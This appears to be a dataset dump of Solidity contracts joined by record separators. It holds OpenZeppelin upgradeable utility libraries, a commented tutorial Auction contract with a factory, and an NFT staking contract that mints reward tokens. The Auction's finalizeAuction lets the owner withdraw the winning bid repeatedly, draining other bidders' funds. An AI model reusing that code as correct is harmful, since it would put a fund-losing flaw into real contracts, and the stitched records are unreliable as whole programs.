* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721Upgradeable.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721EnumerableUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721Upgradeable.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721MetadataUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library CountersUpgradeable {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal initializer {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal initializer {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSetUpgradeable {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
|
import "@openzeppelin/contracts-upgradeable/proxy/utils/ClonesUpgradeable.sol";
|
import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol";
| 12,136,182
|
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//SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
/*
Decentralized deployment of Auctions
*/
contract auctionCreator {
address public creatorOwner; // public state variable automatically has getter function
Auction[] public deployedAuctions; // public array automatically has getter function
constructor(){
creatorOwner = msg.sender; // owner of the creator contract is the original deployer (i.e. Auction Contract Administrator, not new Auctioneer)
}
function createAuction() public {
Auction new_auction_address = new Auction(msg.sender); // pass caller to Auction constructor as eoa; makes them owner of a their auction
deployedAuctions.push(new_auction_address); // track these auctions
}
}
contract Auction {
// Variables
address payable public owner; // publicly visible owner of the auction who gets paid by winner
uint public startBlock; // because block.timestamp can be spoofed by miners it is not best practice to use in this setting
uint public endBlock; // ( end block - start block ) * 15 seconds is a rough time calculator that can't be spoofed
string public ipfsHash; // because state variables are expensive, its cheaper to use a separate storage solution like
// interplanetary file system (IPFS) and then just store the hash in the contract
enum State {Started, Running, Ended, Canceled} // enumerate class State with 4 possible values - no semicolon
State public auctionState; // auctionState is a public State
uint public highestBindingBid; // selling price of item; public number
address payable public highestBidder; // public address of winner- payable in case the auction is canceled
// or higher bid comes in to return their money
mapping(address => uint) public bids; // store bids using address of bidder
uint bidIncrement; // ebay style auction
constructor(address eoa){ // see auction creator template
owner = payable(eoa); // owner is contract creator recorded as payable
auctionState = State.Running; // initiate auction upon deployment
startBlock = block.number; // ETH blocks occur roughly every 15 seconds, safer to use that than to rely on miners who may spoof
// endBlock = startBlock + 40320; // roughly 40,000 blocks per week
endBlock = startBlock + 3; // for testing purposes only 3 blocks used
ipfsHash = ""; // initiate as empty string
bidIncrement = 1 ether; // denominated in ether for testing
}
// Mix of modifier and intrinsic requirements for placing a bid
modifier notOwner() {
require(msg.sender != owner, "Owner cannot bid up the price!");
_;
}
modifier afterStart() {
require(block.number > startBlock, "Auction hasn't started");
_;
}
modifier beforeEnd() {
require(block.number < endBlock, "Auction is over!");
_;
}
// only owner can cancel an auction
modifier onlyOwner() {
require(msg.sender == owner, "You aren't the owner");
_;
}
// helper function
function min(uint a, uint b) pure internal returns(uint){
if(a <= b){
return a;
} else {
return b;
}
}
function placeBid() public payable notOwner afterStart beforeEnd {
require(auctionState == State.Running, "Auction is not running"); // auction must be running;
require(msg.value >= bidIncrement, "Must add at least 1 bid increment to your bid"); // minimum send for adding to your past bids
uint currentBid = bids[msg.sender] + msg.value; // bidder adds to their bid when they place a bid
// new bids are required to raise floor price;
// cumulative bidding below floor price is reverted
require(currentBid > highestBindingBid, "your addition doesn't beat the current highest binded bid");
bids[msg.sender] = currentBid; // update bidder's total amount bid.
// if the current bid is valid but not above the current highest bidder's reserve, raise the highest bidder's binded reserve
// i.e. If I put 1000 and you bid 500, I'm only bound for 500 + bidIncrement when I win.
// until the time runs out, you can add to your 500, until you beat my reserve.
if(currentBid <= bids[highestBidder]){
highestBindingBid = min(currentBid + bidIncrement, bids[highestBidder]);
} else {
highestBindingBid = min(currentBid, bids[highestBidder] + bidIncrement);
highestBidder = payable(msg.sender);
}
}
// never attempt to send eth automatically to users
// best practice is to require them to claim their eth
// this is because of malicious fallback traps that can empty an insecure contract
function cancelAuction() public onlyOwner {
auctionState = State.Canceled;
}
// separate mechanism for claiming funds
function finalizeAuction() public {
require(auctionState == State.Canceled || block.number > endBlock, "Auction isn't cancelled or finished"); // auction is cancelled OR ended naturally
require(msg.sender == owner || bids[msg.sender] > 0, "You didn't bid or aren't the owner."); // owner OR an auction participant can call this function
// prep to send money
address payable recipient;
uint value;
// if cancelled, people can claim their funds back
if(auctionState == State.Canceled){
recipient = payable(msg.sender);
value = bids[msg.sender];
bids[msg.sender] = 0; // empty their account before sending anything.
} else { // if ended naturally
// owner can get the highest bid
if(msg.sender == owner) {
recipient = owner; // note: owner already payable, does not need payable() wrapping.
value = highestBindingBid;
} else {
// highest bidder can get partial refund
if(msg.sender == highestBidder){
recipient = highestBidder;
value = bids[highestBidder] - highestBindingBid;
bids[msg.sender] = 0; // empty their account before sending anything.
// any other bidder can get their balance
} else {
recipient = payable(msg.sender);
value = bids[msg.sender];
bids[msg.sender] = 0; // empty their account before sending anything.
}
}
}
recipient.transfer(value); // should be protected since bids are emptied
auctionState = State.Ended; // End the auction - owner can change to cancelled if needed
} // finalizeAuction
}
|
track these auctions
|
deployedAuctions.push(new_auction_address);
| 12,771,514
|
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] |
// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.1;
import "./NUGGS.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
abstract contract EWALKS is IERC721 {}
abstract contract NERDYNUGGETS is IERC721 {}
contract DeepFryer is Ownable, Pausable {
using Address for address;
using Strings for uint256;
using Strings for bytes32;
using ECDSA for bytes32;
struct Stake {
uint16 kills;
uint80 value;
address owner;
}
NUGGS private nuggs;
EWALKS private ewalk;
NERDYNUGGETS private nerdyNuggets;
constructor() {
address _nuggs = 0x39b037F154524333CbFCB8f193E08607B241A44C;
address EwalksAddress = 0x4691b302c37B53c68093f1F5490711d3B0CD2b9C;
address NerdyNuggetsAddress = 0xb45F2ba6b25b8f326f0562905338b3Aa00D07640;
nuggs = NUGGS(_nuggs);
ewalk = EWALKS(EwalksAddress);
nerdyNuggets = NERDYNUGGETS(NerdyNuggetsAddress);
}
event TokenStaked(address owner, uint256 kills, uint256 tokenId, uint256 value);
event NuggetStaked(address owner, uint256 tokenId, uint256 value);
event ZombiesClaimed(uint256 tokenId, uint256 earned, bool unstaked);
event HumansClaimed(uint256 tokenId, uint256 earned, bool unstaked);
event NuggetsClaimed(uint256 tokenId, uint256 earned, bool unstaked);
bool public stakingIsActive = true;
address public dataSigner = 0x7A513630e4826Ad0356a5a9031923444F5C0212D;
mapping(uint256 => Stake) public zombieDeepFryer;
mapping(uint256 => Stake) public humanDeepFryer;
mapping(uint256 => Stake) public nuggetDeepFryer;
uint256 public totalZombiesStaked;
uint256 public totalHumansStaked;
uint256 public totalNuggetsStaked;
uint256 public constant HOURS_NUGGS_RATE = 25 ether;
uint256 public constant HOURS_NUGGETS_RATE = 30 ether;
uint256 public constant MINIMUM_TO_EXIT = 6 hours;
uint256 public constant MAXIMUM_GLOBAL_NUGGS = 600000000 ether;
uint256 public totalNuggsEarned = 0;
uint256 public promoMultiplier = 1;
uint256 public humanMultiplier = 10; // Will be less after S2 launch
uint256 public humanReduction = 1;
modifier onlyWhenStakingStarted {
require(dataSigner != address(0), "Staking is not available yet");
require(stakingIsActive == true, "Staking must be active");
_;
}
function stakeZombies(uint256[] calldata tokenIds, uint256[] calldata killCounts, bytes[] calldata killSignatures) onlyWhenStakingStarted public {
require(killCounts.length == killSignatures.length);
require(tokenIds.length == killSignatures.length);
for (uint i = 0; killCounts.length > i; i++) {
uint k = (killCounts[i] * 10000 + tokenIds[i]) * 10 + 1;
bytes32 userhash = keccak256(abi.encodePacked(k));
require(userhash.toEthSignedMessageHash().recover(killSignatures[i]) == dataSigner, "Invalid Signature");
require(ewalk.ownerOf(tokenIds[i]) == _msgSender(), "AINT YO TOKEN");
_addZombieToDeepFryer(_msgSender(), tokenIds[i], killCounts[i]);
}
}
function stakeHumans(uint256[] calldata tokenIds, uint256[] calldata killCounts, bytes[] calldata killSignatures) onlyWhenStakingStarted public {
require(killCounts.length == killSignatures.length);
require(tokenIds.length == killSignatures.length);
for (uint i = 0; killSignatures.length > i; i++) {
uint k = (killCounts[i] * 10000 + tokenIds[i]) * 10;
bytes32 userhash = keccak256(abi.encodePacked(k));
require(userhash.toEthSignedMessageHash().recover(killSignatures[i]) == dataSigner, "Invalid Signature");
require(ewalk.ownerOf(tokenIds[i]) == _msgSender(), "AINT YO TOKEN");
_addHumanToDeepFryer(_msgSender(), tokenIds[i]);
}
}
function stakeNugget(uint256[] calldata tokenIds) onlyWhenStakingStarted public {
for (uint i = 0; tokenIds.length > i; i++) {
require(nerdyNuggets.ownerOf(tokenIds[i]) == _msgSender(), "AINT YO TOKEN");
_addNuggetToDeepFryer(_msgSender(), tokenIds[i]);
}
}
function claimZombieNUGGSRewards(uint16[] calldata tokenIds, bool unstake) public whenNotPaused {
uint256 owed = 0;
for (uint i = 0; i < tokenIds.length; i++) {
owed += _claimZombiesFromDeepFryer(tokenIds[i], unstake);
}
if (owed == 0) return;
totalNuggsEarned += owed;
nuggs.mint(_msgSender(), owed);
}
function claimHumanNUGGSRewards(uint16[] calldata tokenIds, bool unstake) public whenNotPaused {
uint256 owed = 0;
for (uint i = 0; i < tokenIds.length; i++) {
owed += _claimHumansFromDeepFryer(tokenIds[i], unstake);
}
if (owed == 0) return;
totalNuggsEarned += owed;
nuggs.mint(_msgSender(), owed);
}
function claimNerdyNuggetsNUGGSRewards(uint16[] calldata tokenIds, bool unstake) public whenNotPaused {
uint256 owed = 0;
for (uint i = 0; i < tokenIds.length; i++) {
owed += _claimNuggetsFromDeepFryer(tokenIds[i], unstake);
}
if (owed == 0) return;
totalNuggsEarned += owed;
nuggs.mint(_msgSender(), owed);
}
function _addZombieToDeepFryer(address account, uint tokenId, uint kills) internal whenNotPaused {
require(zombieDeepFryer[tokenId].owner != account, "You already staked this token");
zombieDeepFryer[tokenId] = Stake({
owner: account,
kills: uint16(kills),
value: uint80(block.timestamp)
});
totalZombiesStaked += 1;
emit TokenStaked(account, kills, tokenId, block.timestamp);
}
function _addHumanToDeepFryer(address account, uint tokenId) internal whenNotPaused {
require(humanDeepFryer[tokenId].owner != account, "You already staked this token");
humanDeepFryer[tokenId] = Stake({
owner: account,
kills: 0,
value: uint80(block.timestamp)
});
totalHumansStaked += 1;
emit TokenStaked(account, 0, tokenId, block.timestamp);
}
function _addNuggetToDeepFryer(address account, uint tokenId) internal whenNotPaused {
require(nuggetDeepFryer[tokenId].owner != account, "You already staked this token");
nuggetDeepFryer[tokenId] = Stake({
owner: account,
kills: 0,
value: uint80(block.timestamp)
});
totalNuggetsStaked += 1;
emit NuggetStaked(account, tokenId, block.timestamp);
}
function _claimZombiesFromDeepFryer(uint256 tokenId, bool unstake) internal returns (uint256 owed) {
Stake memory stake = zombieDeepFryer[tokenId];
require(stake.owner != 0x0000000000000000000000000000000000000000, "Not Staked");
require(ewalk.ownerOf(tokenId) == _msgSender(), "SWIPER, NO SWIPING");
require(!(unstake && block.timestamp - stake.value < MINIMUM_TO_EXIT), "You need 6 hours of Nuggs");
if (totalNuggsEarned < MAXIMUM_GLOBAL_NUGGS) {
owed = ((block.timestamp - stake.value) / 6 hours) * (HOURS_NUGGS_RATE + (stake.kills * 1 ether)) * promoMultiplier;
} else {
owed = 0; // $NUGGS production stopped already
}
if (unstake) {
delete zombieDeepFryer[tokenId];
totalZombiesStaked -= 1;
} else {
zombieDeepFryer[tokenId] = Stake({
owner: _msgSender(),
kills: uint16(stake.kills),
value: uint80(block.timestamp)
});
}
emit ZombiesClaimed(tokenId, owed, unstake);
}
function _claimHumansFromDeepFryer(uint256 tokenId, bool unstake) internal returns (uint256 owed) {
Stake memory stake = humanDeepFryer[tokenId];
require(stake.owner != 0x0000000000000000000000000000000000000000, "Not Staked");
require(ewalk.ownerOf(tokenId) == _msgSender(), "SWIPER, NO SWIPING");
require(!(unstake && block.timestamp - stake.value < MINIMUM_TO_EXIT), "You need 12 hours of Nuggs");
if (totalNuggsEarned < MAXIMUM_GLOBAL_NUGGS) {
owed = (((block.timestamp - stake.value) / 6 hours) * HOURS_NUGGS_RATE * humanMultiplier) / humanReduction;
} else {
owed = 0; // $NUGGS production stopped already
}
if (unstake) {
delete humanDeepFryer[tokenId];
totalHumansStaked -= 1;
} else {
humanDeepFryer[tokenId] = Stake({
owner: _msgSender(),
kills: 0,
value: uint80(block.timestamp)
});
}
emit HumansClaimed(tokenId, owed, unstake);
}
function _claimNuggetsFromDeepFryer(uint256 tokenId, bool unstake) internal returns (uint256 owed) {
Stake memory stake = nuggetDeepFryer[tokenId];
require(stake.owner != 0x0000000000000000000000000000000000000000, "Not Staked");
require(nerdyNuggets.ownerOf(tokenId) == _msgSender(), "SWIPER, NO SWIPING");
require(!(unstake && block.timestamp - stake.value < MINIMUM_TO_EXIT), "You need 12 hours of Nuggs");
if (totalNuggsEarned < MAXIMUM_GLOBAL_NUGGS) {
owed = ((block.timestamp - stake.value) / 6 hours) * HOURS_NUGGETS_RATE * promoMultiplier;
} else {
owed = 0; // $NUGGS production stopped already
}
if (unstake) {
delete nuggetDeepFryer[tokenId];
totalNuggetsStaked -= 1;
} else {
nuggetDeepFryer[tokenId] = Stake({
owner: _msgSender(),
kills: 0,
value: uint80(block.timestamp)
});
}
